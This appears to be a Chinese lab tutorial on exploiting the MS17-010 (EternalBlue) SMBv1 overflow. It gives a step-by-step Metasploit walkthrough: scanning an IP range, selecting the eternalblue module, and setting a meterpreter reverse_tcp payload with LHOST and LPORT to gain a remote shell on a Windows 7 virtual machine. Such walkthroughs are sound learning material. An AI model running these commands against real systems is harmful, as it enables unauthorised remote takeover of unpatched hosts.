参考大佬博客:https://blog.csdn.net/weixin_45588247/article/details/119614618
漏洞原理:
MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
环境:
kali攻击windows7(64位),win7是自己的虚拟机,直接攻击。
攻击条件:
win7防火墙关闭,kali和win7在同一个网段,互相能够ping通
步骤 :
查找漏洞相关模块
1.在kali命令行里输入msfconsole进入msf框架;
2.搜索ms17_010漏洞;
search ms17_010
这里找到了四个模块,前三个是漏洞利用模块,后两个是辅助模块,主要探测主机是否存在MS17_010漏洞。
利用Auxiliary辅助探测模块对漏洞进行探测
Auxiliary辅助探测模块:
该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
3.使用漏洞探测模块对smb_ms17_010漏洞进行探测,查看这个模块需要配置的信息;
use auxiliary/scanner/smb/smb_ms17_010或use 3
show options #查看这个模块需要配置的信息
4.设置要探测的远程目标:RHOSTS (不区分大小写)参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞,这里我探测win7的ip;
探测ip范围命令示例:set rhosts 192.168.7.1-100
5.对上面设置的ipi或p范围内的主机进行攻击;
注:有+号的就是可能存在漏洞的主机
命令:exploit/run
使用Exploit漏洞利用模块对漏洞进行利用
6.选择漏洞攻击模块,对漏洞进行利用;
命令:use exploit/windows/smb/ms17_010_eternalblue或use 0
7.查看这个漏洞的信息;
8.查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统
show targets
Payload攻击载荷模块
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。
9.查看攻击载荷;
show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload
10.设置攻击载荷;
set payload windows/x64/meterpreter/reverse_tcp
11.设置攻击载荷参数;
命令示例:
set RHOST 192.168.7.100 #设置RHOST,也就是要攻击主机的ip
set LHOST 192.168.7.97 #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
set lport 6666 #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;
12.进行攻击;
exploit/run
运行成功之后,我们将会看到命令提示符 meterpreter > 出现,此时就算是拿下了目标主机的权限。